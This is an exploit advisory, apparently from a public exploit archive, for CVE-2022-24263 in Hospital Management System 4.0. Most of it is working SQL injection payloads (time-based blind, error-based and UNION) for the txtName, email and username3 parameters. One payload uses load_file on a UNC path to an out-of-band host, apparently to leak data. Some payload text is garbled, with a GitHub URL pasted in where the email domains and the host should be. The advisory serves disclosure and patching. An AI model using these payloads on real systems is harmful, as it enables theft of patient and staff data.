Hospital Management System 4.0 Exploit, 'multiple' SQL Injection

# Title: Hospital Management System 4.0 - 'multiple' SQL Injection
# Author: nu11secur1ty
# Date: 02.06.2022
# Vendor: https://github.com/kishan0725
# Software: https://github.com/kishan0725/Hospital-Management-System
# CVE-2022-24263


## Description:
The Hospital Management System v4.0 is suffering from Multiple
SQL-Injections via three parameters in function.php,  contact.php, and
func3.php applications.
The attacker can be receiving the all information from the system by
using this vulnerability, and also the malicious actor can use
sensitive information from the customers of this system.
WARNING: If this is in some external domain, or some subdomain, or
internal, this will be extremely dangerous!
Status: CRITICAL


[+] Payloads:

---
Parameter: txtName (POST)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: txtName=821761' AND (SELECT 9346 FROM
(SELECT(SLEEP(3)))HJGv) AND
'xkCZ'='xkCZ&txtEmail=xstxPhYW@https://github.com/kishan0725/Hospital-Management-System&txtPhone=813-439-23'+(select
load_file('\\\\k0lnu24kl14z5bxcoo5tj7z4bvho5fz3q6ey1qpf.https://github.com/kishan0725/Hospital-Management-System\\hgq'))+'&btnSubmit=Send
Message&txtMsg=441931
---

-------------------------------------------

---
Parameter: #1* ((custom) POST)
    Type: error-based
    Title: MySQL OR error-based - WHERE or HAVING clause (FLOOR)
    Payload: email=riiVAqjG@https://github.com/kishan0725/Hospital-Management-System'+(select-2936)
OR 1 GROUP BY CONCAT(0x7162706271,(SELECT (CASE WHEN (5080=5080) THEN
1 ELSE 0 END)),0x716b767a71,FLOOR(RAND(0)*2)) HAVING
MIN(0)#from(select(sleep(20)))a)+'&password2=d3U!l9k!E4&patsub=Login

    Type: UNION query
    Title: MySQL UNION query (random number) - 1 column
    Payload: email=riiVAqjG@https://github.com/kishan0725/Hospital-Management-System'+(select-2730)
UNION ALL SELECT
8185,8185,CONCAT(0x7162706271,0x5777534a4b68716f6d4270614362544c4954786a4f774b6852586b47694945644a70757262644c52,0x716b767a71),8185,8185,8185,8185,8185#from(select(sleep(20)))a)+'&password2=d3U!l9k!E4&patsub=Login
---

-------------------------------------------

---
Parameter: #1* ((custom) POST)
    Type: error-based
    Title: MySQL OR error-based - WHERE or HAVING clause (FLOOR)
    Payload: username3=CHnDaCTc'+(select-2423) OR 1 GROUP BY
CONCAT(0x71626a6271,(SELECT (CASE WHEN (5907=5907) THEN 1 ELSE 0
END)),0x716b766b71,FLOOR(RAND(0)*2)) HAVING
MIN(0)#from(select(sleep(20)))a)+'&password3=a5B!n6f!U1&docsub1=Login

    Type: UNION query
    Title: MySQL UNION query (random number) - 1 column
    Payload: username3=CHnDaCTc'+(select-3282) UNION ALL SELECT
CONCAT(0x71626a6271,0x446c68526a796c4475676e54774d6b617a6977736855756f63796f43686d706c637877534a557076,0x716b766b71),4829,4829,4829,4829#from(select(sleep(20)))a)+'&password3=a5B!n6f!U1&docsub1=Login
---

## Reproduce:
https://github.com/nu11secur1ty/CVE-mitre/edit/main/2022/CVE-2022-24263

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